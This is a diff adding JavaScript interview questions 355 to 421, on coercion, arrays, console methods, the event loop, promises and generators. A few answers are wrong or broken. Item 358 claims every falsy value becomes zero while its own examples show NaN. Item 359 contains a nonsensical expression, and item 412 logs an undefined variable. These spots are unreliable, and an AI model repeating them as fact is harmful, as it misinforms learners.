+        A _repaint_ occurs when changes are made which affect the visibility of an element, but not its layout. Examples of this include outline, visibility, or background color. A _reflow_ involves changes that affect the layout of a portion of the page (or the whole page). Resizing the browser window, changing the font, content changing (such as user typing text), using JavaScript methods involving computed styles, adding or removing elements from the DOM, and changing an element's classes are a few of the things that can trigger reflow. Reflow of an element causes the subsequent reflow of all child and ancestor elements as well as any elements following it in the DOM.
+
+356.    What happens with negating an array
+
+        Negating an array with `!` character will coerce the array into a boolean. Since Arrays are considered to be truthy So negating it will return `false`.
+
+        ```javascript
+        console.log(![]); // false
+        ```
+
+357.    What happens if we add two arrays
+
+        If you add two arrays together, it will convert them both to strings and concatenate them. For example, the result of adding arrays would be as below,
+
+        ```javascript
+        console.log(['a'] + ['b']); // "ab"
+        console.log([] + []); // ""
+        console.log(![] + []); // "false", because ![] returns false.
+        ```
+
+358.    What is the output of prepend additive operator on falsy values
+
+        If you prepend the additive(+) operator on falsy values(null, undefined, NaN, false, ""), the falsy value converts to a number value zero. Let's display them on browser console as below,
+
+        ```javascript
+        console.log(+null); // 0
+        console.log(+undefined); // NaN
+        console.log(+false); // 0
+        console.log(+NaN); // NaN
+        console.log(+''); // 0
+        ```
+
+359.    How do you create self string using special characters
+
+        The self string can be formed with the combination of `[]()!+` characters. You need to remember the below conventions to achieve this pattern.
+
+        1. Since Arrays are truthful values, negating the arrays will produce false: ![] === false
+        2. As per JavaScript coercion rules, the addition of arrays together will toString them: [] + [] === ""
+        3. Prepend an array with + operator will convert an array to false, the negation will make it true and finally converting the result will produce value '1': +(!(+[])) === 1
+
+        By applying the above rules, we can derive below conditions
+
+        ```javascript
+        (![] + [] === 'false' + !+[]) === 1;
+        ```
+
+        Now the character pattern would be created as below,
+
+        ```javascript
+              s               e               l               f
+         ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+
+         (![] + [])[3] + (![] + [])[4] + (![] + [])[2] + (![] + [])[0]
+         ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^   ^^^^^^^^^^^^^
+        (![] + [])[+!+[]+!+[]+!+[]] +
+        (![] + [])[+!+[]+!+[]+!+[]+!+[]] +
+        (![] + [])[+!+[]+!+[]] +
+        (![] + [])[+[]]
+        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+        (![]+[])[+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]+!+[]]+(![]+[])[+[]]
+        ```
+
+360.    How do you remove falsy values from an array
+
+        You can apply the filter method on the array by passing Boolean as a parameter. This way it removes all falsy values(0, undefined, null, false and "") from the array.
+
+        ```javascript
+        const myArray = [false, null, 1, 5, undefined];
+        myArray.filter(Boolean); // [1, 5] // is same as myArray.filter(x => x);
+        ```
+
+361.    How do you get unique values of an array
+
+        You can get unique values of an array with the combination of `Set` and rest expression/spread(...) syntax.
+
+        ```javascript
+        console.log([...new Set([1, 2, 4, 4, 3])]); // [1, 2, 4, 3]
+        ```
+
+362.    What is destructuring aliases
+
+        Sometimes you would like to have a destructured variable with a different name than the property name. In that case, you'll use a `: newName` to specify a name for the variable. This process is called destructuring aliases.
+
+        ```javascript
+        const obj = { x: 1 };
+        // Grabs obj.x as as { otherName }
+        const { x: otherName } = obj;
+        ```
+
+363.    How do you map the array values without using map method
+
+        You can map the array values without using the `map` method by just using the `from` method of Array. Let's map city names from Countries array,
+
+        ```javascript
+        const countries = [
+            { name: 'India', capital: 'Delhi' },
+            { name: 'US', capital: 'Washington' },
+            { name: 'Russia', capital: 'Moscow' },
+            { name: 'Singapore', capital: 'Singapore' },
+            { name: 'China', capital: 'Beijing' },
+            { name: 'France', capital: 'Paris' }
+        ];
+
+        const cityNames = Array.from(countries, ({ capital }) => capital);
+        console.log(cityNames); // ['Delhi, 'Washington', 'Moscow', 'Singapore', 'Beijing', 'Paris']
+        ```
+
+364.    How do you empty an array
+
+        You can empty an array quickly by setting the array length to zero.
+
+        ```javascript
+        let cities = ['Singapore', 'Delhi', 'London'];
+        cities.length = 0; // cities becomes []
+        ```
+
+365.    How do you rounding numbers to certain decimals
+
+        You can round numbers to a certain number of decimals using `toFixed` method from native javascript.
+
+        ```javascript
+        let pie = 3.141592653;
+        pie = pie.toFixed(3); // 3.142
+        ```
+
+366.    What is the easiest way to convert an array to an object
+
+        You can convert an array to an object with the same data using spread(...) operator.
+
+        ```javascript
+        var fruits = ['banana', 'apple', 'orange', 'watermelon'];
+        var fruitsObject = { ...fruits };
+        console.log(fruitsObject); // {0: "banana", 1: "apple", 2: "orange", 3: "watermelon"}
+        ```
+
+367.    How do you create an array with some data
+
+        You can create an array with some data or an array with the same values using `fill` method.
+
+        ```javascript
+        var newArray = new Array(5).fill('0');
+        console.log(newArray); // ["0", "0", "0", "0", "0"]
+        ```
+
+368.    What are the placeholders from console object
+
+        Below are the list of placeholders available from console object,
+
+        1. %o — It takes an object,
+        2. %s — It takes a string,
+        3. %d — It is used for a decimal or integer
+           These placeholders can be represented in the console.log as below
+
+        ```javascript
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.log('Hello %s, your details %o are available in the object form', 'John', user); // Hello John, your details {name: "John", id: 1, city: "Delhi"} are available in object
+        ```
+
+369.    Is it possible to add CSS to console messages
+
+        Yes, you can apply CSS styles to console messages similar to html text on the web page.
+
+        ```javascript
+        console.log('%c The text has blue color, with large font and red background', 'color: blue; font-size: x-large; background: red');
+        ```
+
+        The text will be displayed as below,
+        ![Screenshot](images/console-css.png)
+
+        **Note:** All CSS styles can be applied to console messages.
+
+370.    What is the purpose of dir method of console object
+
+        The `console.dir()` is used to display an interactive list of the properties of the specified JavaScript object as JSON.
+
+        ```javascript
+        const user = { name: 'John', id: 1, city: 'Delhi' };
+        console.dir(user);
+        ```
+
+        The user object displayed in JSON representation
+        ![Screenshot](images/console-dir.png)
+
+371.    Is it possible to debug HTML elements in console
+
+        Yes, it is possible to get and debug HTML elements in the console just like inspecting elements.
+
+        ```javascript
+        const element = document.getElementsByTagName('body')[0];
+        console.log(element);
+        ```
+
+        It prints the HTML element in the console,
+
+        ![Screenshot](images/console-html.png)
+
+372.    How do you display data in a tabular format using console object
+
+             The `console.table()` is used to display data in the console in a tabular format to visualize complex arrays or objects.
+
+             ```js
+
+        //
+        const users = [
+        { name: 'John', id: 1, city: 'Delhi' },
+        { name: 'Max', id: 2, city: 'London' },
+        { name: 'Rod', id: 3, city: 'Paris' }
+        ];
+        console.table(users);
+
+        ```
+
+             The data visualized in a table format,
+
+             ![Screenshot](images/console-table.png)
+             **Not:** Remember that `console.table()` is not supported in IE.
+
+        ```
+
+373.    How do you verify that an argument is a Number or not
+
+        The combination of IsNaN and isFinite methods are used to confirm whether an argument is a number or not.
+
+        ```javascript
+        function isNumber(n) {
+            return !isNaN(parseFloat(n)) && isFinite(n);
+        }
+        ```
+
+374.    How do you create copy to clipboard button
+
+        You need to select the content(using .select() method) of the input element and execute the copy command with execCommand (i.e, execCommand('copy')). You can also execute other system commands like cut and paste.
+
+        ```javascript
+        document.querySelector('#copy-button').onclick = function () {
+            // Select the content
+            document.querySelector('#copy-input').select();
+            // Copy to the clipboard
+            document.execCommand('copy');
+        };
+        ```
+
+375.    What is the shortcut to get timestamp
+
+        You can use `new Date().getTime()` to get the current timestamp. There is an alternative shortcut to get the value.
+
+        ```javascript
+        console.log(+new Date());
+        console.log(Date.now());
+        ```
+
+376.    How do you flattening multi dimensional arrays
+
+        Flattening bi-dimensional arrays is trivial with Spread operator.
+
+        ```javascript
+        const biDimensionalArr = [11, [22, 33], [44, 55], [66, 77], 88, 99];
+        const flattenArr = [].concat(...biDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ```
+
+        But you can make it work with multi-dimensional arrays by recursive calls,
+
+        ```javascript
+        function flattenMultiArray(arr) {
+            const flattened = [].concat(...arr);
+            return flattened.some((item) => Array.isArray(item)) ? flattenMultiArray(flattened) : flattened;
+        }
+        const multiDimensionalArr = [11, [22, 33], [44, [55, 66, [77, [88]], 99]]];
+        const flatArr = flattenMultiArray(multiDimensionalArr); // [11, 22, 33, 44, 55, 66, 77, 88, 99]
+        ```
+
+377.    What is the easiest multi condition checking
+
+        You can use `indexOf` to compare input with multiple values instead of checking each value as one condition.
+
+        ```javascript
+        // Verbose approach
+        if (input === 'first' || input === 1 || input === 'second' || input === 2) {
+            someFunction();
+        }
+        // Shortcut
+        if (['first', 1, 'second', 2].indexOf(input) !== -1) {
+            someFunction();
+        }
+        ```
+
+378.    How do you capture browser back button
+
+        The `window.onbeforeunload` method is used to capture browser back button events. This is helpful to warn users about losing the current data.
+
+        ```javascript
+        window.onbeforeunload = function () {
+            alert('You work will be lost');
+        };
+        ```
+
+379.    How do you disable right click in the web page
+
+             The right click on the page can be disabled by returning false from the `oncontextmenu` attribute on the body element.
+
+             ```html
+             <body oncontextmenu="return false;">
+
+        </body>
+             ```
+
+380.    What are wrapper objects
+
+        Primitive Values like string,number and boolean don't have properties and methods but they are temporarily converted or coerced to an object(Wrapper object) when you try to perform actions on them. For example, if you apply toUpperCase() method on a primitive string value, it does not throw an error but returns uppercase of the string.
+
+        ```javascript
+        let name = 'john';
+
+        console.log(name.toUpperCase()); // Behind the scenes treated as console.log(new String(name).toUpperCase());
+        ```
+
+        i.e, Every primitive except null and undefined have Wrapper Objects and the list of wrapper objects are String,Number,Boolean,Symbol and BigInt.
+
+381.    What is AJAX
+
+        AJAX stands for Asynchronous JavaScript and XML and it is a group of related technologies(HTML, CSS, JavaScript, XMLHttpRequest API etc) used to display data asynchronously. i.e. We can send data to the server and get data from the server without reloading the web page.
+
+382.    What are the different ways to deal with Asynchronous Code
+
+        Below are the list of different ways to deal with Asynchronous code.
+
+        1. Callbacks
+        2. Promises
+        3. Async/await
+        4. Third-party libraries such as async.js,bluebird etc
+
+383.    How to cancel a fetch request
+
+        Until a few days back, One shortcoming of native promises is no direct way to cancel a fetch request. But the new `AbortController` from js specification allows you to use a signal to abort one or multiple fetch calls.
+        The basic flow of cancelling a fetch request would be as below,
+
+        1. Create an `AbortController` instance
+        2. Get the signal property of an instance and pass the signal as a fetch option for signal
+        3. Call the AbortController's abort property to cancel all fetches that use that signal
+           For example, let's pass the same signal to multiple fetch calls will cancel all requests with that signal,
+
+        ```javascript
+        const controller = new AbortController();
+        const { signal } = controller;
+
+        fetch('http://localhost:8000', { signal })
+            .then((response) => {
+                console.log(`Request 1 is complete!`);
+            })
+            .catch((e) => {
+                if (e.name === 'AbortError') {
+                    // We know it's been canceled!
+                }
+            });
+
+        fetch('http://localhost:8000', { signal })
+            .then((response) => {
+                console.log(`Request 2 is complete!`);
+            })
+            .catch((e) => {
+                if (e.name === 'AbortError') {
+                    // We know it's been canceled!
+                }
+            });
+
+        // Wait 2 seconds to abort both requests
+        setTimeout(() => controller.abort(), 2000);
+        ```
+
+384.    What is web speech API
+
+        Web speech API is used to enable modern browsers recognize and synthesize speech(i.e, voice data into web apps). This API has been introduced by W3C Community in the year 2012. It has two main parts,
+
+        1. **SpeechRecognition (Asynchronous Speech Recognition or Speech-to-Text):** It provides the ability to recognize voice context from an audio input and respond accordingly. This is accessed by the `SpeechRecognition` interface.
+           The below example shows on how to use this API to get text from speech,
+
+        ```javascript
+        window.SpeechRecognition = window.webkitSpeechRecognition || window.SpeechRecognition; // webkitSpeechRecognition for Chrome and SpeechRecognition for FF
+        const recognition = new window.SpeechRecognition();
+        recognition.onresult = (event) => {
+            // SpeechRecognitionEvent type
+            const speechToText = event.results[0][0].transcript;
+            console.log(speechToText);
+        };
+        recognition.start();
+        ```
+
+        In this API, browser is going to ask you for permission to use your microphone
+
+        1. **SpeechSynthesis (Text-to-Speech):** It provides the ability to recognize voice context from an audio input and respond. This is accessed by the `SpeechSynthesis` interface.
+           For example, the below code is used to get voice/speech from text,
+
+        ```javascript
+        if ('speechSynthesis' in window) {
+            var speech = new SpeechSynthesisUtterance('Hello World!');
+            speech.lang = 'en-US';
+            window.speechSynthesis.speak(speech);
+        }
+        ```
+
+        The above examples can be tested on chrome(33+) browser's developer console.
+        **Note:** This API is still a working draft and only available in Chrome and Firefox browsers(ofcourse Chrome only implemented the specification)
+
+385.    What is minimum timeout throttling
+
+        Both browser and NodeJS javascript environments throttles with a minimum delay that is greater than 0ms. That means even though setting a delay of 0ms will not happen instantaneously.
+        **Browsers:** They have a minimum delay of 4ms. This throttle occurs when successive calls are triggered due to callback nesting(certain depth) or after a certain number of successive intervals.
+        Note: The older browsers have a minimum delay of 10ms.
+        **Nodejs:** They have a minimum delay of 1ms. This throttle happens when the delay is larger than 2147483647 or less than 1.
+        The best example to explain this timeout throttling behavior is the order of below code snippet.
+
+        ```javascript
+        function runMeFirst() {
+            console.log('My script is initialized');
+        }
+        setTimeout(runMeFirst, 0);
+        console.log('Script loaded');
+        ```
+
+        and the output would be in
+
+        ```console
+        Script loaded
+        My script is initialized
+        ```
+
+        If you don't use `setTimeout`, the order of logs will be sequential.
+
+        ```javascript
+        function runMeFirst() {
+            console.log('My script is initialized');
+        }
+        runMeFirst();
+        console.log('Script loaded');
+        ```
+
+        and the output is,
+
+        ```console
+        My script is initialized
+        Script loaded
+        ```
+
+386.    How do you implement zero timeout in modern browsers
+
+        You can't use setTimeout(fn, 0) to execute the code immediately due to minimum delay of greater than 0ms. But you can use window.postMessage() to achieve this behavior.
+
+387.    What are tasks in event loop
+
+        A task is any javascript code/program which is scheduled to be run by the standard mechanisms such as initially starting to run a program, run an event callback, or an interval or timeout being fired. All these tasks are scheduled on a task queue.
+        Below are the list of use cases to add tasks to the task queue,
+
+        1. When a new javascript program is executed directly from console or running by the `<script>` element, the task will be added to the task queue.
+        2. When an event fires, the event callback added to task queue
+        3. When a setTimeout or setInterval is reached, the corresponding callback added to task queue
+
+388.    What is microtask
+
+        Microtask is the javascript code which needs to be executed immediately after the currently executing task/microtask is completed. They are kind of blocking in nature. i.e, The main thread will be blocked until the microtask queue is empty.
+        The main sources of microtasks are Promise.resolve, Promise.reject, MutationObservers, IntersectionObservers etc
+
+        **Note:** All of these microtasks are processed in the same turn of the event loop.
+
+389.    What are different event loops
+
+390.    What is the purpose of queueMicrotask
+
+391.    How do you use javascript libraries in typescript file
+
+        It is known that not all JavaScript libraries or frameworks have TypeScript declaration files. But if you still want to use libraries or frameworks in our TypeScript files without getting compilation errors, the only solution is `declare` keyword along with a variable declaration. For example, let's imagine you have a library called `customLibrary` that doesn't have a TypeScript declaration and have a namespace called `customLibrary` in the global namespace. You can use this library in typescript code as below,
+
+        ```javascript
+        declare var customLibrary;
+        ```
+
+        In the runtime, typescript will provide the type to the `customLibrary` variable as `any` type. The another alternative without using declare keyword is below
+
+        ```javascript
+        var customLibrary: any;
+        ```
+
+392.    What are the differences between promises and observables
+
+        Some of the major difference in a tabular form
+
+        | Promises                                                           | Observables                                                                              |
+        | ------------------------------------------------------------------ | ---------------------------------------------------------------------------------------- |
+        | Emits only a single value at a time                                | Emits multiple values over a period of time(stream of values ranging from 0 to multiple) |
+        | Eager in nature; they are going to be called immediately           | Lazy in nature; they require subscription to be invoked                                  |
+        | Promise is always asynchronous even though it resolved immediately | Observable can be either synchronous or asynchronous                                     |
+        | Doesn't provide any operators                                      | Provides operators such as map, forEach, filter, reduce, retry, and retryWhen etc        |
+        | Cannot be canceled                                                 | Canceled by using unsubscribe() method                                                   |
+
+393.    What is heap
+
+        Heap(Or memory heap) is the memory location where objects are stored when we define variables. i.e, This is the place where all the memory allocations and de-allocation take place. Both heap and call-stack are two containers of JS runtime.
+        Whenever runtime comes across variables and function declarations in the code it stores them in the Heap.
+
+        ![Screenshot](images/heap.png)
+
+394.    What is an event table
+
+        Event Table is a data structure that stores and keeps track of all the events which will be executed asynchronously like after some time interval or after the resolution of some API requests. i.e Whenever you call a setTimeout function or invoke async operation, it is added to the Event Table.
+        It doesn't not execute functions on it's own. The main purpose of the event table is to keep track of events and send them to the Event Queue as shown in the below diagram.
+
+        ![Screenshot](images/event-table.png)
+
+395.    What is a microTask queue
+
+        Microtask Queue is the new queue where all the tasks initiated by promise objects get processed before the callback queue.
+        The microtasks queue are processed before the next rendering and painting jobs. But if these microtasks are running for a long time then it leads to visual degradation.
+
+396.    What is the difference between shim and polyfill
+
+        A shim is a library that brings a new API to an older environment, using only the means of that environment. It isn't necessarily restricted to a web application. For example, es5-shim.js is used to emulate ES5 features on older browsers (mainly pre IE9).
+        Whereas polyfill is a piece of code (or plugin) that provides the technology that you, the developer, expect the browser to provide natively.
+        In a simple sentence, A polyfill is a shim for a browser API.
+
+397.    How do you detect primitive or non primitive value type
+
+        In JavaScript, primitive types include boolean, string, number, BigInt, null, Symbol and undefined. Whereas non-primitive types include the Objects. But you can easily identify them with the below function,
+
+        ```javascript
+        var myPrimitive = 30;
+        var myNonPrimitive = {};
+        function isPrimitive(val) {
+            return Object(val) !== val;
+        }
+
+        isPrimitive(myPrimitive);
+        isPrimitive(myNonPrimitive);
+        ```
+
+        If the value is a primitive data type, the Object constructor creates a new wrapper object for the value. But If the value is a non-primitive data type (an object), the Object constructor will give the same object.
+
+398.    What is babel
+
+        Babel is a JavaScript transpiler to convert ECMAScript 2015+ code into a backwards compatible version of JavaScript in current and older browsers or environments. Some of the main features are listed below,
+
+        1. Transform syntax
+        2. Polyfill features that are missing in your target environment (using @babel/polyfill)
+        3. Source code transformations (or codemods)
+
+399.    Is Node.js completely single threaded
+
+        Node is a single thread, but some of the functions included in the Node.js standard library(e.g, fs module functions) are not single threaded. i.e, Their logic runs outside of the Node.js single thread to improve the speed and performance of a program.
+
+400.    What are the common use cases of observables
+
+        Some of the most common use cases of observables are web sockets with push notifications, user input changes, repeating intervals, etc
+
+401.    What is RxJS
+
+        RxJS (Reactive Extensions for JavaScript) is a library for implementing reactive programming using observables that makes it easier to compose asynchronous or callback-based code. It also provides utility functions for creating and working with observables.
+
+402.    What is the difference between Function constructor and function declaration
+
+        The functions which are created with `Function constructor` do not create closures to their creation contexts but they are always created in the global scope. i.e, the function can access its own local variables and global scope variables only. Whereas function declarations can access outer function variables(closures) too.
+
+        Let's see this difference with an example,
+
+        **Function Constructor:**
+
+        ```javascript
+        var a = 100;
+        function createFunction() {
+            var a = 200;
+            return new Function('return a;');
+        }
+        console.log(createFunction()()); // 100
+        ```
+
+        **Function declaration:**
+
+        ```javascript
+        var a = 100;
+        function createFunction() {
+            var a = 200;
+            return function func() {
+                return a;
+            };
+        }
+        console.log(createFunction()()); // 200
+        ```
+
+403.    What is a Short circuit condition
+
+        Short circuit conditions are meant for condensed way of writing simple if statements. Let's demonstrate the scenario using an example. If you would like to login to a portal with an authentication condition, the expression would be as below,
+
+        ```javascript
+        if (authenticate) {
+            loginToPorta();
+        }
+        ```
+
+        Since the javascript logical operators evaluated from left to right, the above expression can be simplified using && logical operator
+
+        ```javascript
+        authenticate && loginToPorta();
+        ```
+
+404.    What is the easiest way to resize an array
+
+        The length property of an array is useful to resize or empty an array quickly. Let's apply length property on number array to resize the number of elements from 5 to 2,
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5];
+        console.log(array.length); // 5
+
+        array.length = 2;
+        console.log(array.length); // 2
+        console.log(array); // [1,2]
+        ```
+
+        and the array can be emptied too
+
+        ```javascript
+        var array = [1, 2, 3, 4, 5];
+        array.length = 0;
+        console.log(array.length); // 0
+        console.log(array); // []
+        ```
+
+405.    What is an observable
+
+        An Observable is basically a function that can return a stream of values either synchronously or asynchronously to an observer over time. The consumer can get the value by calling `subscribe()` method.
+        Let's look at a simple example of an Observable
+
+        ```javascript
+        import { Observable } from 'rxjs';
+
+        const observable = new Observable((observer) => {
+            setTimeout(() => {
+                observer.next('Message from a Observable!');
+            }, 3000);
+        });
+
+        observable.subscribe((value) => console.log(value));
+        ```
+
+        ![Screenshot](images/observables.png)
+
+        **Note:** Observables are not part of the JavaScript language yet but they are being proposed to be added to the language
+
+406.    What is the difference between function and class declarations
+
+        The main difference between function declarations and class declarations is `hoisting`. The function declarations are hoisted but not class declarations.
+
+        **Classes:**
+
+        ```javascript
+        const user = new User(); // ReferenceError
+
+        class User {}
+        ```
+
+        **Constructor Function:**
+
+        ```javascript
+        const user = new User(); // No error
+
+        function User() {}
+        ```
+
+407.    What is an async function
+
+        An async function is a function declared with the `async` keyword which enables asynchronous, promise-based behavior to be written in a cleaner style by avoiding promise chains. These functions can contain zero or more `await` expressions.
+
+        Let's take a below async function example,
+
+        ```javascript
+        async function logger() {
+            let data = await fetch('http://someapi.com/users'); // pause until fetch returns
+            console.log(data);
+        }
+        logger();
+        ```
+
+        It is basically syntax sugar over ES2015 promises and generators.
+
+408.    How do you prevent promises swallowing errors
+
+        While using asynchronous code, JavaScript's ES6 promises can make your life a lot easier without having callback pyramids and error handling on every second line. But Promises have some pitfalls and the biggest one is swallowing errors by default.
+
+        Let's say you expect to print an error to the console for all the below cases,
+
+        ```javascript
+        Promise.resolve('promised value').then(function () {
+            throw new Error('error');
+        });
+
+        Promise.reject('error value').catch(function () {
+            throw new Error('error');
+        });
+
+        new Promise(function (resolve, reject) {
+            throw new Error('error');
+        });
+        ```
+
+        But there are many modern JavaScript environments that won't print any errors. You can fix this problem in different ways,
+
+        1. **Add catch block at the end of each chain:** You can add catch block to the end of each of your promise chains
+
+            ```javascript
+            Promise.resolve('promised value')
+                .then(function () {
+                    throw new Error('error');
+                })
+                .catch(function (error) {
+                    console.error(error.stack);
+                });
+            ```
+
+            But it is quite difficult to type for each promise chain and verbose too.
+
+        2. **Add done method:** You can replace first solution's then and catch blocks with done method
+
+            ```javascript
+            Promise.resolve('promised value').done(function () {
+                throw new Error('error');
+            });
+            ```
+
+            Let's say you want to fetch data using HTTP and later perform processing on the resulting data asynchronously. You can write `done` block as below,
+
+            ```javascript
+            getDataFromHttp()
+                .then(function (result) {
+                    return processDataAsync(result);
+                })
+                .done(function (processed) {
+                    displayData(processed);
+                });
+            ```
+
+            In future, if the processing library API changed to synchronous then you can remove `done` block as below,
+
+            ```javascript
+            getDataFromHttp().then(function (result) {
+                return displayData(processDataAsync(result));
+            });
+            ```
+
+            and then you forgot to add `done` block to `then` block leads to silent errors.
+
+        3. **Extend ES6 Promises by Bluebird:**
+           Bluebird extends the ES6 Promises API to avoid the issue in the second solution. This library has a "default" onRejection handler which will print all errors from rejected Promises to stderr. After installation, you can process unhandled rejections
+
+            ```javascript
+            Promise.onPossiblyUnhandledRejection(function (error) {
+                throw error;
+            });
+            ```
+
+            and discard a rejection, just handle it with an empty catch
+
+            ```javascript
+            Promise.reject('error value').catch(function () {});
+            ```
+
+409.    What is deno
+
+        Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 JavaScript engine and the Rust programming language.
+
+410.    How do you make an object iterable in javascript
+
+        By default, plain objects are not iterable. But you can make the object iterable by defining a `Symbol.iterator` property on it.
+
+        Let's demonstrate this with an example,
+
+        ```javascript
+        const collection = {
+            one: 1,
+            two: 2,
+            three: 3,
+            [Symbol.iterator]() {
+                const values = Object.keys(this);
+                let i = 0;
+                return {
+                    next: () => {
+                        return {
+                            value: this[values[i++]],
+                            done: i > values.length
+                        };
+                    }
+                };
+            }
+        };
+
+        const iterator = collection[Symbol.iterator]();
+
+        console.log(iterator.next()); // → {value: 1, done: false}
+        console.log(iterator.next()); // → {value: 2, done: false}
+        console.log(iterator.next()); // → {value: 3, done: false}
+        console.log(iterator.next()); // → {value: undefined, done: true}
+        ```
+
+        The above process can be simplified using a generator function,
+
+        ```javascript
+        const collection = {
+            one: 1,
+            two: 2,
+            three: 3,
+            [Symbol.iterator]: function* () {
+                for (let key in this) {
+                    yield this[key];
+                }
+            }
+        };
+        const iterator = collection[Symbol.iterator]();
+        console.log(iterator.next()); // {value: 1, done: false}
+        console.log(iterator.next()); // {value: 2, done: false}
+        console.log(iterator.next()); // {value: 3, done: false}
+        console.log(iterator.next()); // {value: undefined, done: true}
+        ```
+
+411.    What is a Proper Tail Call
+
+        First, we should know about tail call before talking about "Proper Tail Call". A tail call is a subroutine or function call performed as the final action of a calling function. Whereas **Proper tail call(PTC)** is a technique where the program or code will not create additional stack frames for a recursion when the function call is a tail call.
+
+        For example, the below classic or head recursion of factorial function relies on stack for each step. Each step need to be processed upto `n * factorial(n - 1)`
+
+        ```javascript
+        function factorial(n) {
+            if (n === 0) {
+                return 1;
+            }
+            return n * factorial(n - 1);
+        }
+        console.log(factorial(5)); //120
+        ```
+
+        But if you use Tail recursion functions, they keep passing all the necessary data it needs down the recursion without relying on the stack.
+
+        ```javascript
+        function factorial(n, acc = 1) {
+            if (n === 0) {
+                return acc;
+            }
+            return factorial(n - 1, n * acc);
+        }
+        console.log(factorial(5)); //120
+        ```
+
+        The above pattern returns the same output as the first one. But the accumulator keeps track of total as an argument without using stack memory on recursive calls.
+
+412.    How do you check an object is a promise or not
+
+        If you don't know if a value is a promise or not, wrapping the value as `Promise.resolve(value)` which returns a promise
+
+        ```javascript
+        function isPromise(object) {
+            if (Promise && Promise.resolve) {
+                return Promise.resolve(object) == object;
+            } else {
+                throw 'Promise not supported in your environment';
+            }
+        }
+
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+            resolve();
+        });
+
+        console.log(isPromise(i)); // false
+        console.log(isPromise(p)); // true
+        ```
+
+        Another way is to check for `.then()` handler type
+
+        ```javascript
+        function isPromise(value) {
+            return Boolean(value && typeof value.then === 'function');
+        }
+        var i = 1;
+        var promise = new Promise(function (resolve, reject) {
+            resolve();
+        });
+
+        console.log(isPromise(i)); // false
+        console.log(isPromise(promise)); // true
+        ```
+
+413.    How to detect if a function is called as constructor
+
+        You can use `new.target` pseudo-property to detect whether a function was called as a constructor(using the new operator) or as a regular function call.
+
+        1. If a constructor or function invoked using the new operator, new.target returns a reference to the constructor or function.
+        2. For function calls, new.target is undefined.
+
+        ```javascript
+        function Myfunc() {
+           if (new.target) {
+              console.log('called with new');
+           } else {
+              console.log('not called with new');
+           }
+        }
+
+        new Myfunc(); // called with new
+        Myfunc(); // not called with new
+        Myfunc.call({}); not called with new
+        ```
+
+414.    What are the differences between arguments object and rest parameter
+
+        There are three main differences between arguments object and rest parameters
+
+        1. The arguments object is an array-like but not an array. Whereas the rest parameters are array instances.
+        2. The arguments object does not support methods such as sort, map, forEach, or pop. Whereas these methods can be used in rest parameters.
+        3. The rest parameters are only the ones that haven't been given a separate name, while the arguments object contains all arguments passed to the function
+
+415.    What are the differences between spread operator and rest parameter
+
+        Rest parameter collects all remaining elements into an array. Whereas Spread operator allows iterables( arrays / objects / strings ) to be expanded into single arguments/elements. i.e, Rest parameter is opposite to the spread operator.
+
+416.    What are the different kinds of generators
+
+        There are five kinds of generators,
+
+        1. **Generator function declaration:**
+
+            ```javascript
+            function* myGenFunc() {
+                yield 1;
+                yield 2;
+                yield 3;
+            }
+            const genObj = myGenFunc();
+            ```
+
+        2. **Generator function expressions:**
+
+            ```javascript
+            const myGenFunc = function* () {
+                yield 1;
+                yield 2;
+                yield 3;
+            };
+            const genObj = myGenFunc();
+            ```
+
+        3. **Generator method definitions in object literals:**
+
+            ```javascript
+            const myObj = {
+                *myGeneratorMethod() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            };
+            const genObj = myObj.myGeneratorMethod();
+            ```
+
+        4. **Generator method definitions in class:**
+
+            ```javascript
+            class MyClass {
+                *myGeneratorMethod() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            }
+            const myObject = new MyClass();
+            const genObj = myObject.myGeneratorMethod();
+            ```
+
+        5. **Generator as a computed property:**
+
+            ```javascript
+            const SomeObj = {
+                *[Symbol.iterator]() {
+                    yield 1;
+                    yield 2;
+                    yield 3;
+                }
+            };
+
+            console.log(Array.from(SomeObj)); // [ 1, 2, 3 ]
+            ```
+
+417.    What are the built-in iterables
+
+        Below are the list of built-in iterables in javascript,
+
+        1. Arrays and TypedArrays
+        2. Strings: Iterate over each character or Unicode code-points
+        3. Maps: iterate over its key-value pairs
+        4. Sets: iterates over their elements
+        5. arguments: An array-like special variable in functions
+        6. DOM collection such as NodeList
+
+418.    What are the differences between for...of and for...in statements
+
+        Both for...in and for...of statements iterate over js data structures. The only difference is over what they iterate:
+
+        1. for..in iterates over all enumerable property keys of an object
+        2. for..of iterates over the values of an iterable object.
+
+        Let's explain this difference with an example,
+
+        ```javascript
+        let arr = ['a', 'b', 'c'];
+
+        arr.newProp = 'newVlue';
+
+        // key are the property keys
+        for (let key in arr) {
+            console.log(key);
+        }
+
+        // value are the property values
+        for (let value of arr) {
+            console.log(value);
+        }
+        ```
+
+        Since for..in loop iterates over the keys of the object, the first loop logs 0, 1, 2 and newProp while iterating over the array object. The for..of loop iterates over the values of a arr data structure and logs a, b, c in the console.
+
+419.    How do you define instance and non-instance properties
+
+        The Instance properties must be defined inside of class methods. For example, name and age properties defined insider constructor as below,
+
+        ```javascript
+        class Person {
+            constructor(name, age) {
+                this.name = name;
+                this.age = age;
+            }
+        }
+        ```
+
+        But Static(class) and prototype data properties must be defined outside of the ClassBody declaration. Let's assign the age value for Person class as below,
+
+        ```javascript
+        Person.staticAge = 30;
+        Person.prototype.prototypeAge = 40;
+        ```
+
+420.    What is the difference between isNaN and Number.isNaN?
+
+        1. **isNaN**: The global function `isNaN` converts the argument to a Number and returns true if the resulting value is NaN.
+        2. **Number.isNaN**: This method does not convert the argument. But it returns true when the type is a Number and value is NaN.
+
+        Let's see the difference with an example,
+
+        ```javascript
+        isNaN('hello'); // true
+        Number.isNaN('hello'); // false
+        ```
+
+421.    How to invoke an IIFE without any extra brackets?
+
+             Immediately Invoked Function Expressions(IIFE) requires a pair of parenthesis to wrap the function which contains set of statements.
+
+             ```js
+
